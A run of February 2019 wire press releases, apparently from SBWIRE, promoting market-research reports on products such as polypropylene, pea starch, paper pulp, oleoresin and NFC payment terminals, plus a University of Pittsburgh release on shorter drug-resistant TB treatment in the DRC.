Governments of several European countries are implementing strict measure to contain the usage of plastic bags. They are imposing regulations wherein the sales of lightweight bags are getting restricted. Countries like Italy, France are applying a complete ban on HDPE plastics bags that are meant for single use. Such bans, though restraining the growth of the market for HDPE garbage bags, help to diminish the harmful effects of plastic bags on the environment, specifically the oceans, lakes, rivers, and the wildlife that inhabit in those water bodies. This is one of the major restraining factors of the European market for garbage bag.



In addition, imposition of extra charges and increased taxation by the governments of various European countries on the use of plastic garbage bags are dampening the spirit of the market players. Customers are charged extra for plastic garbage bags at various convenience and retail stores. Such government initiatives play a major role in the diminishing the usage of plastic garbage bags in Europe.



This review is as per the findings of a new report by Future Market Insights (FMI) titled, "Garbage Bag Market: Europe Industry Analysis & Opportunity Assessment, 2016-2026."Albany, NY -- (SBWIRE) -- 02/13/2019 -- Polypropylene is a thermoplastic polymer, which is used in various applications. It is produced by the combination of propylene monomer with catalysts. It is primarily employed in the packaging industry for consumer products, food containers, cosmetic products, and beverages. Polypropylene is also used in the manufacture of plastic parts, car bumpers, and dashboards in the automotive industry.



Read Report Overview @

https://www.transparencymarketresearch.com/polypropylene-homopolymer-market.html



Polypropylene Homopolymer Market: Drivers & Restraints



Homopolymers, also known as polypropylene homopolymers, are the widely used types of polypropylene. They provide high strength-to-weight ratio and are stiffer than copolymers. Excellent chemical resistance enables the usage of polypropylene homopolymers in various corrosion resistant structures. Increase in demand for polypropylene in automotive and medical industries in Asia Pacific is expected to fuel the homopolymers market during the forecast period.



Polypropylene homopolymer is widely used in the manufacture of various products for household, automotive, electrical, electronics, packaging, personal care, medical, and other applications in the plastic processing industry. Polypropylene homopolymer offers high strength-to-weight ratio and good chemical resistance and weldability. Owing to its vast application base, PP homopolymer is a large volume commodity material. Increase in consumption of PP homopolymer in the packaging industry and expansion in the retail sector are estimated to boost the market during the forecast period.



Polypropylene Homopolymer Market: Key Segments



Based on type, the polypropylene homopolymer market can be segmented into injecting molding, film & sheet, fiber, extrusion, blow molding and others. Consumption of polypropylene homopolymer in the blow molding application has been rising due to the increase in demand for packaged food and beverages in emerging countries. Polypropylene is majorly used in the blow molding application due to its ability to withstand elevated temperatures. It can be easily steam sterilized and has high melting point. Its common applications include water bottles, shampoo bottles, and lubricant/pesticide containers.



In terms of end-use industry, the polypropylene homopolymer market can be divided into packaging, electrical & electronics, textile, automotive, building & construction, medical, and others. The packaging segment is expected to dominate the global polypropylene homopolymer market. Rise in consumption of polypropylene homopolymer, particularly in flexible packaging applications, is expected to boost the packaging segment.



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Polypropylene Homopolymer Market: Regional Outlook



In terms of region, the global polypropylene homopolymer market can be segregated into North America, Latin America, Europe, Asia Pacific, and Middle East & Africa. North America is expected to account for key share of the polypropylene homopolymer market in the near future. This can be ascribed to the well-developed application segments such as packaging, automobile, textile, and others; and large presence of PP homopolymer manufacturers in the region. The market in Europe is anticipated to expand at a remarkable pace from 2018 to 2026, due to increase in consumption of polypropylene homopolymers in the automotive industry and rise in the demand for these homopolymers in the construction industry in the region. The market in Asia Pacific is projected to expand at a rapid pace in terms of revenue, owing to the increase in adoption of polypropylene homopolymers in health care and automobile sectors in emerging economies in the region. Latin America and Middle East & Africa also account for significant share of the global polypropylene homopolymer market. This can be ascribed to increase in demand for PP homopolymers in various end-use industries in these regions.



Polypropylene Homopolymer Market: Key Players



Prominent players operating in the global polypropylene homopolymer market are LyondellBasell Industries, Braskem S.A., The Dow Chemical Company, Reliance Industries Limited, L.C.Y. Chemical Corporation, Total Petrochemicals USA Inc., IRPC Public Company Limited., Sasol Limited., National Petrochemical Industrial Company, and The Polyolefin Company (Singapore) Pte Ltd.Sellbyville, DE -- (SBWIRE) -- 02/13/2019 -- The Pea Starch Market will likely surpass USD 850 million by 2025; according to a new research report by Global Market Insights, Inc. Developments in the North American and European food & beverage industry is likely to be a key growth enabler in the global pea starch market. The product is used as a binding and thickening agent in a wide range of food items. In meat, the product is used to improve texture and mouthfeel for high yield pork hams, poultry rolls, etc. It also provides stability in process conditions for sausages and other processed meats, bakery products, breakfast cereals, etc. Awareness among North American and European population about the benefits of healthy eating habits have resulted in a rise in cooking at home, using natural ingredients and the expansion of online platforms for recipe ideas. This trend is likely to propel pea starch market development as it is available in non-genetically modified, organic, and gluten-free varieties.



Request for sample copy of this Report @ https://www.gminsights.com/request-sample/detail/1374



North America is a major food & beverage market in the world accounting for around 17% of the global retail value sales in 2017. The overall value of food & beverage sales in North America was recorded at USD 270 billion in 2017 and is estimated to reach USD 290 billion by 2021, growing by a CAGR of 1.5%. This large size and steady growth in the food & beverage industry will propel the pea starch market development during the study period. The European food & beverage industry turnover in 2017 was above USD 1 trillion. With around 289,000 companies operating in the region, food & beverage is the principal manufacturing sector in Europe. The number of enterprises in the restaurants & mobile food service industry has also been steadily rising in Europe, led by France, Italy, and Germany. These factors will be majorly responsible for the pea starch market development in the forecast period.



According to products, the global pea starch market is categorized as industry, feed, and food grade types. Feed grade segment is likely to gain by a CAGR above 23% till 2025. These products are intended for animal consumption and imparts nutritional value to animal feed items. The main objectives for using it in animal feed products is to be a digestible energy source for animals and for allowing to adapt and improve the texture of the finished product during pelletization and extrusion processes. High growth in global animal feed industry will boost feed grade product demand and will propel the pea starch market development in the study period.



According to end-user, the pea starch market is categorized into food & beverage, pharmaceutical, paper & textile, animal feed, and others. Animal feed is a key end-use sector in the pea starch market which is likely to hold a share of more than 10% of the total industry till 2025. Europe is a major animal feed producing region comprising of 20 top feed-producing countries, representing around 70% of the world production. The region also accounted for around 20% of the global compound feed production in 2017. Developments in the European animal feed industry is likely to be a major reason behind the growth of the animal feed end-use sector of the pea starch market in coming years.



Europe is a key pea starch market that is likely to grow by more than 25% CAGR in the forecast period. Growth in the region's food & beverage sector, mostly in countries such as France, Germany, Italy, Spain, and UK, will drive demand for pea starch in the forecast timeframe. Developments in the animal feed industry in the region will also augment product demand for application in pet food and feed items. Steady gains in the European cosmetics as well as pharmaceutical industries will also contribute towards the pea starch market development in the forecast period.



Inquiry before buying @ https://www.gminsights.com/inquiry-before-buying/1374



Some of the pea starch market participants include Cosucra-Groupe, Roquette Freres, Emsland-Starke, Parrheim Foods, Vestkorn Milling, Meelunie, Yantai Oriental Protein Tech Company, AGT Food and Ingredients, Dakota Dry Bean, American Key Products, etc. Market participants are investing in increasing their pea starch processing capacities and opening new plants to cater to rapidly rising product demand across the globe. Research & development by market players is likely to be a major strategy to gain competitive advantage in pea starch market in the coming years.New York, NY -- (SBWIRE) -- 02/13/2019 -- This report researches the worldwide Paper and Pulp market size (value, capacity, production and consumption) in key regions like United States, Europe, China, Japan and other regions.

This study categorizes the global Paper and Pulp breakdown data by manufacturers, region, type and application, also analyzes the market status, market share, growth rate, future trends, market drivers, opportunities and challenges, risks and entry barriers, sales channels, distributors and Porter's Five Forces Analysis.



Paper pulp is a lignocellulosic fibrous material prepared by chemically or mechanically separating cellulose fibres from wood, fibre crops or waste paper. The wood fiber sources required for pulping are, 45% sawmill residue, 21% logs and chips, and 34% recycled paper. Pulp is one of the most abundant raw materials worldwide.



Paper pulp is the raw material for paper manufacture that contains vegetable, mineral, or man-made fibres. It forms a matted or felted sheet on a screen when moisture is removed.



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Wood pulp, the most used paper pulp, is a type of material that is created by processing wood collected from trees, and serves as the basis for the creation of a wide range of paper-based products. Several different processes are utilized to reduce the wood into a form that is ideal for manufacturing different types of paper goods, including paper used in printing books, magazines, and newspapers. The resulting paper product can also be used to create other paper products, including disposable paper plates, paper towels, and other common household items.



Paper and pulp market is computed by the volume and value of the original pulp used for paper production in the report. There are BSK pulp, BHK pulp and BCTMP, etc. BHK pulp is the mainly product in the world at present, represented about 53% of the global production market while BSK pulp is about 41%. And BCTMP is a rare type, represented less than 5% of the total. Paper pulp can be used in printing and writing paper, tissue paper, etc. The printing and writing paper is the main use of the Paper pulp with the share of about 2/3 in the world.

The global average price of paper pulp is in the falling volatility trend, from 712 $/kg in 2012 to 683 $/kg in 2016.

Brazil, Canada, Indonesia, Finland, USA, Chile and China are now the key producers of Paper pulp in the world. China is the largest consumption and import country of Paper pulp products in the world in the past few years while the market share is about 1/3 in 2016, and China will keep the leading position in the next few years. Brazil, Canada, Indonesia and Chile are now the most key exporters of paper pulp in the world.



Global Paper and Pulp market size will increase to 86700 Million US$ by 2025, from 63300 Million US$ in 2017, at a CAGR of 4.6% during the forecast period. In this study, 2017 has been considered as the base year and 2018 to 2025 as the forecast period to estimate the market size for Paper and Pulp.



This report focuses on the top manufacturers' Paper and Pulp capacity, production, value, price and market share of Paper and Pulp in global market. The following manufacturers are covered in this report:

Stora Enso (FI)

Fibria (BR)

RGE (SG)

Sappi (ZA)

UMP (FI)

ARAUCO (CL)

CMPC (CL)

APP (SG)

Metsa Fibre (FI)

Suzano (BR)

IP (US)

Resolute (CA)

Ilim (RU)

Sdra Cell (SE)

Domtar (US)

Nippon Paper (JP)

Mercer (CA)

Eldorado (BR)

Cenibra (BR)

Oji Paper (JP)

Ence (ES)

Canfor (CA)

West Fraser (CA)

SCA (SE)

Chenming (CN)

Sun Paper (CN)

Yueyang (CN)

Yongfeng (CN)

Huatai (CN)



Paper and Pulp Breakdown Data by Type

Bleached Softwood Kraft Pulp (BSK)

Birch Hardwood Kraft Pulp (BHK)

High Yield Pulp (HYP)

Paper and Pulp Breakdown Data by Application

Printing and Writing Paper

Tissue Paper

Other



View Detailed Table Of Content : https://www.qyresearchreports.com/report/global-paper-and-pulp-market-insightsforecast-to-2025.htm/toc



Paper and Pulp Production Breakdown Data by Region

United States

Europe

China

Japan

Other Regions



Paper and Pulp Consumption Breakdown Data by Region

North America

United States

Canada

Mexico

Asia-Pacific

China

India

Japan

South Korea

Australia

Indonesia

Malaysia

Philippines

Thailand

Vietnam

Europe

Germany

France

UK

Italy

Russia

Rest of Europe

Central & South America

Brazil

Rest of South America

Middle East & Africa

GCC Countries

Turkey

Egypt

South Africa

Rest of Middle East & Africa



The study objectives are:

To analyze and research the global Paper and Pulp capacity, production, value, consumption, status and forecast;

To focus on the key Paper and Pulp manufacturers and study the capacity, production, value, market share and development plans in next few years.

To focuses on the global key manufacturers, to define, describe and analyze the market competition landscape, SWOT analysis.

To define, describe and forecast the market by type, application and region.

To analyze the global and key regions market potential and advantage, opportunity and challenge, restraints and risks.

To identify significant trends and factors driving or inhibiting the market growth.

To analyze the opportunities in the market for stakeholders by identifying the high growth segments.

To strategically analyze each submarket with respect to individual growth trend and their contribution to the market.

To analyze competitive developments such as expansions, agreements, new product launches, and acquisitions in the market.

To strategically profile the key players and comprehensively analyze their growth strategies.



Read Comprehensive Overview of Report @ https://www.qyresearchreports.com/report/global-paper-and-pulp-market-insightsforecast-to-2025.htm



In this study, the years considered to estimate the market size of Paper and Pulp :

History Year: 2013-2017

Base Year: 2017

Estimated Year: 2018

Forecast Year 2018 to 2025

For the data information by region, company, type and application, 2017 is considered as the base year. Whenever data information was unavailable for the base year, the prior year has been considered.



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Email: sales@qyresearchreports.comHarrisburg, NC -- (SBWIRE) -- 02/13/2019 -- The Online Takeaway Food Delivery Market report is a collection of pragmatic information, quantitative and qualitative estimation by industry experts, the contribution from industry connoisseurs and industry accomplices across the value chain. Furthermore, the report also provides the qualitative results of diverse market factors on its geographies and segments.



The report provides a regional analysis of the online takeaway food delivery market, including the following regions: US, Canada, UK, Australia, Denmark, Italy, Spain and France.



The competition in the global online takeaway food delivery market is fragmented with several new players emerging in the industry. However, key players of the online takeaway food delivery market, Just Eat, GrubHub and Rocket Internet (Foodpanda and Deliver Hero) are profiled with their financial information and respective business strategies.



Purchase Copy of This Report (USD 900):

https://www.marketinsightsreports.com/report/purchase/0926871009?mode=su?source=releasewire&Mode=12



In addition, this report discusses the key drivers influencing market growth, opportunities, the challenges and the risks faced by key players and the market as a whole. It also analyzes key emerging trends and their impact on present and future development.



The prominent players in the global Online Takeaway Food Delivery market are:

Just Eat

GrubHub

Rocket Internet (Foodpanda and Deliver Hero) and Other.



Online Takeaway Food Delivery Global Market Report from Market Insights Reports covers market characteristics, size and growth, segmentation, regional breakdowns, competitive landscape, market shares, trends and strategies for this market.The market characteristics section of the report defines and explains the market.The market size section gives the market revenues, covering both the historic growth of the market and forecasting the future. Drivers and restraints look at the external factors influencing the growth of the market.Market segmentations break down the key sub sectors which make up the market.



Get free sample copy of this report before purchase at:

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Competitive landscape gives a description of the competitive nature of the market, market shares, and a description of the leading companies. Key financial deals which have shaped the market in the last five years are identified.The trends and strategies section highlights the likely future developments in the market and suggests approaches.Following are major Table of Content of Online Takeaway Food Delivery Industry:

- Online Takeaway Food Delivery Market Sales Overview.

- Online Takeaway Food Delivery Market Sales Competition by Manufacturers.

- Online Takeaway Food Delivery Market Sales Analysis by Region.

- Online Takeaway Food Delivery Market Sales Analysis by Type.

- Online Takeaway Food Delivery Market Analysis by Application.

- Online Takeaway Food Delivery Market -Manufacturers Analysis.



Get full access to this report at:

https://www.marketinsightsreports.com/reports/0926871009/global-online-takeaway-food-delivery-market-size-trends-forecasts-2016-2020?source=releasewire&Mode=12



The food services industry is experiencing a revolution. Even the food delivery market is undergoing a dynamic change. It is the online mode that is reaping attention in the current scenario. The food delivery market is both online and offline. The online food delivery market is also known as online takeaway food delivery market.



Online takeaway food delivery market provides an online and mobile platform for food takeaway. The platform is essentially a marketplace where consumers are matched with restaurants. Consumers choose to order on takeaway restaurant (TR) webpage or an app rather than directly on restaurant websites because they can easily compare multiple cuisine options, and also pay safely. In online mode mobile apps are available for iOS and Android of either the restaurants or TR. Customers select restaurants that deliver to their locations, make selection from menus and prices, and make purchases using a mobile device or via the web without the need for phone calls.



In recent years online food delivery market is gaining popularity because of the increased internet penetration across nations and increased smartphone dependence.



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sales@marketinsightsreports.com | irfan@marketinsightsreports.comNew York, NY -- (SBWIRE) -- 02/13/2019 -- The study is a professional probe into the revenue generated and capacity estimates for the Oleoresin market for the forecast period 2018 - 2026 empower the business owners to maintain a competitive edge over their rivals. The research further examines and provides data on the market by type, application and geography interspersed with illustrations and other graphical representations. The market analysis not only determines the attractiveness of the industry but also the evolving challenges and opportunities and their association with the weaknesses and strengths of prominent market leaders. Other factors taken into consideration when studying the industry include profitability, manufacturing capability, distribution channels and industry cost structure and major success factors.



Request Sample copy of this report@ https://www.marketexpertz.com/sample-enquiry-form/30144



Major Players in Oleoresin market are:



Universal Oleoresins, Ungerer & Company, Akay, Synthite, AVT Natural Products Limited (AVT NPL), Indo World, Paprika Oleo's, Paras Perfumers, Manohar Botanical Extracts Pvt. Ltd., Ambe Group, Gurjar Phytochem Pvt. Ltd., Naturite Agro Products Ltd., MRT Organic Green Products, Nature Plus Herbal Cosmetics, Cymbio Pharma Pvt. Ltd., All-Season Herbs Pvt. Ltd., Asian Oleoresin Company, Bioprex Labs, TMV Group, Plant Lipids, Ozone Naturals, Hawkins Watts



Apart from this, the valuable document weighs upon the performance of the Oleoresin industry on the basis of a product service, end-use, geography and end customer



The latest industry intelligence report on the Oleoresin market performs a cautious examination of the current business environment and competitive landscape of the Oleoresin market for the forecast period, 2018 - 2026. For stakeholders, field marketing executives and product owners planning to maintain a competitive edge the market assessment report brings to light essential impression about the growth rate, share and size of the industry during the estimated period. Deep dive into an array of elements including but not limited to the value proposition, product positioning, and targeting and industry segmentation have been described through resources such as charts, tables, and info graphics.



Make an inquiry and request for customization@ https://www.marketexpertz.com/make-enquiry-form/30144



On the basis of product, this report displays the production, revenue, price, Oleoresin market share and growth rate of each type, primarily split into



- Paprika

- Black Pepper

- Capsicum

- Turmeric

- Ginger

- Garlic

- Onion



On the basis of the end users/applications, this report focuses on the status and outlook for major applications/end users, consumption (sales), Oleoresin market share and growth rate for each application, including



- Food & Beverage

- Flavors

- Pharmaceuticals

- Others



Oleoresin Market segment by Region/Country including:



- North America (United States, Canada and Mexico)

- Europe (Germany, UK, France, Italy, Russia and Spain etc.)

- Asia-Pacific (China, Japan, Korea, India, Australia and Southeast Asia etc.)

- South America Brazil, Argentina, Colombia and Chile etc.)

- Middle East & Africa (South Africa, Egypt, Nigeria and Saudi Arabia etc.)



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Region wise performance of the Oleoresin industry

The latest market evaluation report on the Oleoresin market explores how the Oleoresin market will continue to expand for the forecast period 2018 - 2026. The study further serves as a unique research for stakeholders, product owners, and field marketing executives looking for actionable data and unique resource on market size, share, and growth. The market intelligence report gives business evangelists an authority to review the major trends, opportunities, and challenges expected to shape the future of the industry during the estimated period. Importantly, the study not only helps spot the major vendors but also their winning strategies. The real-time data accumulated through qualitative and quantitative research technique further help business owners determine where they stand in comparison to their region, country, and product category.



Get Access to Full summary of this report@ https://www.marketexpertz.com/industry-overview/oleoresin-market



This Oleoresin market report holds answers to some important questions like:



- What is the expected growth rate of the Oleoresin market? What will be the market size for the forecast period, 2018 - 2026?

- What are the major driving forces responsible for transforming the trajectory of the industry?

- Who are major vendors dominating the Oleoresin industry across different regions? What are their winning strategies to stay ahead in the competition?

- What are the market trends business owners can rely upon in the coming years?

- What are the threats and challenges expected to restrict the progress of the industry across different countries?

- What are the key opportunities that business owners can bank on for the forecast period, 2018 - 2026?



Table of content:



Chapter 1 Oleoresin Market Overview

Chapter 2 Oleoresin Market Segment Analysis by Player

Chapter 3 Oleoresin Market Segment Analysis by Type

Chapter 4 Oleoresin Market Segment Analysis by Application

Chapter 5 Oleoresin Market Segment Analysis by Sales Channel

Chapter 6 Oleoresin Market Segment Analysis by Region

Chapter 7 Profile of Leading Oleoresin Players

Chapter 8 Upstream and Downstream Analysis of Oleoresin

Chapter 9 Development Trend of Oleoresin (2018-2026)

Continue...



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News: www.marketexpertz.com/market-newsMaharashtra, India -- (SBWIRE) -- 02/13/2019 -- Oil Condition Monitoring Market: Summary: Oil analysis provides a detailed view of what is happening within machine components during operation.



Factors such as growing demand for economical solutions, increasing need for time optimization, and rising demand for electricity that drives the need for continuous oil monitoring in turbines are fueling the market growth. Companies are persistently looking for different cost-effective ways to reduce the cost of oil condition monitoring. However, extra costs incurred in retrofitting existing systems are one of the key factors hampering the market growth.



Download Research Study With Latest Advancement Trends and Application @ https://www.reportsmonitor.com/request_sample/333367



According to this study, over the next five years the Oil Condition Monitoring market will register a 9.5% CAGR in terms of revenue, the global market size will reach US$ 820 million by 2024, from US$ 470 million in 2019.



Technological Advancements



On-site oil condition monitoring has assisted manufacturers to considerably enhance their productivity, efficiency, and profitability with regard to predictive maintenance. The off-site oil condition monitoring growth can be attributed to the higher adoption of traditional monitoring systems. It mainly consists of testing the oil samples at company-operated laboratories or third-party laboratories. Most of the oil condition monitoring firms is engaged in laboratory testing for better and in-detailed analysis of the sample.



Turbines have vital applications in verticals such as power, locomotive, and aerospace. The turbines used in these verticals work under very high pressure. The turbines are more prone to be broken at such a high pressure, owing to friction, which reduces the life of the system. To stay away from system breakdown, firms use high-quality oil as a lubricant in these turbines, thereby reducing the friction caused due to high pressure. Furthermore, there is a need for continuous monitoring of the oil quality to make sure the smooth operation of the system. There is a growing demand for energy in developing countries such as China, India, and Brazil, which would boost the need for oil condition monitoring services.



Some of the key players in the market include Bureau Veritas, Castrol Limited, Chevron Corporation, SGS, Intertek Group, Shell, Test Oil (Insight Services Inc) and Unimarine.



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This study considers the Oil Condition Monitoring value and volume generated from the sales of the following segments:



Segmentation by product type:

On-site

Off-site



Segmentation by application:

Transportation

Industrial

Oil & Gas

Energy & Power

Mining



The report also presents the market competition landscape and a corresponding detailed analysis of the major vendor/manufacturers in the market. The key manufacturers covered in this report:

Bureau Veritas, SGS, Intertek Group, Shell, Chevron Corporation, Castrol Limited, Unimarine, Veritas Petroleum Services, Insight Services Inc



Key Regions for this market: North America, Europe, APAC, Latin America, and the Middle East & Africa.



Key Benefits:



1.The research report provides a detailed analysis of the Oil Condition Monitoring Market along with the current and future growth prospects so as to shed light on the prominent investment pockets.



2.Information regarding key growth factors, constraints, and opportunities, along with their impact analysis on the Oil Condition Monitoring Market is provided.



3.Porter's fives forces analysis elaborates the effectiveness of buyers and suppliers operating in the market, globally and regionally.



4.The qualitative and quantitative analysis of the market from 2019 to 2024 is provided to put forth the market potential.



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Overall, this Oil Condition Monitoring market research report depicts thorough overview of the market, which, in turn, will help the industry participants, consultants, equipment manufacturers, as well as the existing key players searching for potential growth opportunities and the stakeholders to align their market-centric strategies in view of the on-going and projected trends in the coming years.



Key questions answered in the report include:



What will the market size and the growth rate by the end of the forecast period?

What are the key industry trends impacting the growth of the market?

What are the key factors driving and restraining the Oil Condition Monitoring market?

What are the challenges to market growth?

What are the market opportunities and threats faced by the key players in the market?

Who are the leading competitors functioning in the market for Oil Condition Monitoring?

What are the key outcomes of Porter's five forces analysis of the Oil Condition Monitoring market?

Conclusion:



The report concludes with the profiles of major players in the Oil Condition Monitoring Market. The foremost market performers are accessed on the basis of various parameters such as company overview, product portfolio, and do on., as well as the latest development trends of the Market.



Thanks for reading this article; you can also get individual chapter wise section or region wise report version like Asia, United States, Europe.



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Our aim is to change the dynamics of the Market Research industry by providing quality intelligence backed by data. Your requirement for market forecasting is fulfilled by our exclusive quantitative and analytics driven intelligence. Decision makers can now rely on our distinct data gathering methods to get factual market forecasting and detailed analysis.Sellbyville, DE -- (SBWIRE) -- 02/13/2019 -- Asia Pacific NFC POS Terminal Market is expected to witness a high growth during the forecast period. This can be due to the increasing adoption of smart devices across these regions. Apple Pay is supported in some countries such as Singapore, Japan, Hong Kong, Australia, and New Zealand in the Asia Pacific region. China and India are expected to favorably impact the market owing to the large software base and its distribution in retail stores & automotive sector. High market growth in the region is due to the reduction in Total Cost of Ownership (TCO) and increase in Small and Medium Business (SMBs).



An increase in the penetration of NFC-based mobile handsets is one of the prime reasons contributing to the NFC POS terminal market growth. Growing usage of NFC-enabled smartphones is likely to boost the use of NFC POS terminals for payments and digital exchange in transportation, retail, and healthcare industries. Usage of NFC payment infrastructure and popularity of NFC as a preferred payment mode for customers globally are pushing the NFC POS terminal market.



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NFC POS terminal market is witnessing an increase in the penetration of NFC POS terminals in the transportation sector for ticketing transactions. The inclination of customers towards the use NFC-enabled smart cards in automated fare collections is likely to boost the NFC POS terminal market growth. The NFC technology helps in achieving the short-range communication between electronic devices thus having a high compatibility with fare collection platforms. In comparison to its alternatives, NFC technology provides a high degree of customer satisfaction and experience as it is fast and helps in fast-tracking connections thereby escalating the demand for NFC POS terminal market.



A trend boosting the NFC POS terminal market is the adoption of contactless payment cards known as smart cards, which are embedded with chips and are encrypted with data. The data stored on these cards can be read by EMV-enabled POS terminals. In these devices, the transaction takes place with the help of NFC technology, which is also present in smartphones and smartwatches. The contactless cards when placed near the POS systems can accept payments within seconds thus making it easy for customers to make payments using NFC technology and thereby propelling the NFC POS terminal market.



The upgrading of the magnetic stripe to EMV is due to the legal shift. The expansion of NFC POS terminal market is an indication that retailers are looking to provide convenience to customers. Payments using smartphones are slowly getting acceptance from customers and retailers due to the mobile payments solutions such as Android Pay, Apple Pay, and Samsung Pay. The capabilities of NFC POS terminals are not only affecting the financial ecosystem but also other important business aspects, such as marketing and customer services, making NFC POS terminal an attractive market.



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North America and Europe NFC POS terminal markets were introduced with Apple Pay in 2015. It was launched by Apple to make it possible to pay for goods and services by tapping one's iPhone, iPad, or Apple Watch to a card reader. This could be possible if the customer was banking with a bank, which supports Apple Pay thus escalating the NFC POS terminal market demands. Furthermore, Android Pay and Samsung Pay were introduced in these regions. In the UK, the Transport for London (TFL) introduced the 'pay for travel using contactless cards', driving the NFC POS terminal market. North America market is expected to dominate the market.



In the U.S. NFC POS terminal market., some retailers had been cautious to adopt NFC POS payments in the beginning due to the lack of understanding of the added value, hardware, training expense, and security concerns. These issues were overcome as the merchants addressed and solved them thus opening doors to great benefits such as branding, loyalty, and data collection.



Key market players dominating the NFC POS terminal market include Cybernet, Inc. Equinox Payments, First Data Corp., Heartland Payment Systems, Paz Technology Ltd., Ingenico SA, NEC Technology, SZZT Electronics Co., Ltd., and VeriFone Systems.



About Global Market Insights

Global Market Insights, Inc., headquartered in Delaware, U.S., is a global market research and consulting service provider; offering syndicated and custom research reports along with growth consulting services. Our business intelligence and industry research reports offer clients with penetrative insights and actionable market data specially designed and presented to aid strategic decision making. These exhaustive reports are designed via a proprietary research methodology and are available for key industries such as chemicals, advanced materials, technology, renewable energy and biotechnology.Drug-resistant TB cured with new approaches in post-war DRC

PITTSBURGH, Feb. 13, 2019 - A high proportion of multidrug-resistant tuberculosis (TB) cases can be cured in conflict-affected communities with molecular diagnostics, shorter treatment periods and socioeconomic incentives, according to the results of a large, long-term study in the Democratic Republic of Congo (DRC) led by the University of Pittsburgh Graduate School of Public Health and Stellenbosch University in South Africa, in collaboration with the DRC National Tuberculosis Program.

The findings, reported today in the journal Clinical Infectious Diseases, could guide clinicians and public health workers in other post-conflict or low-income countries battling or at-risk for TB outbreaks.

TB is caused by a bacteria that usually attacks the lungs and spreads through the air when a person with an active TB lung infection coughs, sneezes or talks. According to the U.S. Centers for Disease Control and Prevention, a quarter of the world's population is infected with TB, though not all have active cases, and there are 1.3 million TB-related deaths annually. Some of the bacteria that cause TB have developed resistance to the antibiotics commonly used to treat it.

"Conventional treatment regimens for multidrug resistant TB can be as much as 1,000 times more expensive and take four times as long as treatment for regular TB. The cure rate is only about 50 percent, and treatment can have severe side effects, such as permanent hearing loss," said senior study author Jean B. Nachega, M.D., Ph.D., M.P.H., associate professor in the departments of Epidemiology and Infectious Diseases and Microbiology at Pitt Public Health, and director of the Centre for Infectious Diseases at Stellenbosch University. "Without effective therapy, people with multidrug-resistant TB can infect others who have never had TB before."

The Second Congo War, which started in 1997, caused massive disruption of health care services in the eastern DRC, contributing to an increase in TB cases and TB-related deaths. According to the World Health Organization, there were about 262,000 new cases of TB and 56,000 TB-related deaths in the DRC in 2017.

Nachega partnered with lead study author Andre N.H. Bulabula, M.D., M.Sc., a doctoral student in Stellenbosch's Department of Global Health and member of the Infection Control Africa Network, as well as colleagues from the DRC National TB Program, to evaluate 16,448 patients for TB between 2012 and 2017 in post-conflict DRC. They used a new molecular diagnostic tool called Xpert MTB/RIF to detect multidrug-resistant TB in less than two hours, something that can take several weeks using conventional tests. The scientists found TB in 1,535 patients, and 170 of them, or 11 percent, had a strain of TB resistant to the antibiotic rifampicin.

Patients with rifampicin-resistant TB were assigned to either receive a new nine-month regimen, which involved receiving four different antibiotics throughout, supplemented by three other antibiotics (including one injectable) during a four-month intensive phase, or the conventional 20- or 24-month treatment regimens, which involved five different antibiotics taken throughout, supplemented by one injectable antibiotic during a six-month intensive phase. All of the patients were assigned to "directly observed therapy," where a nurse at the local clinic, or a community health worker or trained family member at home observed the patient take their medication.

Of the patients who received the nine-month schedule, 83 percent were cured, compared to 74 percent of those receiving conventional therapy. The biggest predictors of success were the consistent use of directly observed therapy, the lack of serious drug side effects that can cause a patient to stop therapy, and the patient receiving cash incentives for adherence to treatment.

"In this challenging treatment setting, it is compelling that our findings are in line with those previously reported by observational studies in Bangladesh and other sub-Saharan African countries, as well as the interim results of an ongoing multinational randomized trial," said study co-author Zacharie M. Kashongwe, M.D., Ph.D., professor of pulmonology at the University of Kinshasa in the DRC.

Nachega added that the data should inform new multidrug-resistant TB care guidelines in low- and middle-income countries, including expanding use of the Xpert testing; prompt initiation of shorter, less-toxic drug regimens that are ideally entirely taken orally; involving trained community health workers in delivering TB services; and developing, as well as initiating, community-based drug-resistant TB prevention strategies.

###

Additional institutions that participated in this research are the Center for Evidence-Based Health Care in South Africa, the Institute of Human Virology in Nigeria, University of Maryland, Johns Hopkins University, TB REACH Initiative in Switzerland, Boston University, KatholiekeUniversiteit Leuven in Belgium, Amsterdam University in the Netherlands; and Universite Catholique de Bukavu, Challenge Tuberculosis Initiative, University Hospital of Kinshasa, and the International Centre for Advanced Research and Training, all in the DRC.

This research was funded by Global Affairs Canada through Stop TB Partnership's TB REACH Wave-2 grant to the South Kivu Branch of the DRC National Tuberculosis Program, and VlaamseInteruniversitaireRaad-UniversitaireOntwikkelingssamenwerkingInstitutional University Cooperation grant no. PRDC 2012MP80, which supports a partnership between Ghent University, University of Antwerp, Katholieke Universiteit Leuven in Belgium and the Universite Catholique de Bukavu in the DRC.

About the University of Pittsburgh Graduate School of Public Health

The University of Pittsburgh Graduate School of Public Health, founded in 1948 and now one of the top-ranked schools of public health in the United States, conducts research on public health and medical care that improves the lives of millions of people around the world. Pitt Public Health is a leader in devising new methods to prevent and treat cardiovascular diseases, HIV/AIDS, cancer and other important public health problems. For more information about Pitt Public Health, visit the school's Web site at http://www. publichealth. pitt. edu .

http://www. upmc. com/ media

Contact: Allison Hydzik

Office: 412-647-9975

Mobile: 412-559-2431

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E-mail: HareE@upmc.edu

This story has been published on: 2019-02-13. To contact the author, please use the contact details within the article.New York, NY -- (SBWIRE) -- 02/11/2019 -- A new market assessment report on the Molecular Diagnostics Equipment market provides a comprehensive overview of the Molecular Diagnostics Equipment industry for the forecast period 2018 - 2026. The analytical study is proposed to provide immense clarity on the market size, share and growth rate across different regions. The profound knowledge and extensive examination of the trends from the yesteryear and future aims at offering the stakeholders, product owners, and marketing personnel a competitive edge over others operating in the Molecular Diagnostics Equipment market for the forecast period, 2018 - 2026.



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The major players covered in this report are

Roche, Abbott, Gen-Probe, Danaher, GE, Siemens, Qiagen



Most important types of Molecular Diagnostics Equipment products covered in this report are:

- Infectious Diseases

- Oncology

- Genetics

- Blood Screening

- Microbiology

- Others



On the basis on the end users/applications, this report focuses on the status and outlook for major applications/end users, sales volume, market share and growth rate for each application, including:

- Reference Laboratories

- Hospitals



Understanding the market size

The size of the Molecular Diagnostics Equipment market is viewed in terms of the Share of Market, Total Available Market as well as Served Available Market. Not only does the study present the combined revenue for a particular market but also the market size for a specific geographic region. Analysis of percentage or the size of the Total Available Market based on the type of product, technology, regional constraints and others form an important part of the Molecular Diagnostics Equipment report.



Knowing the trends influencing the industry performance

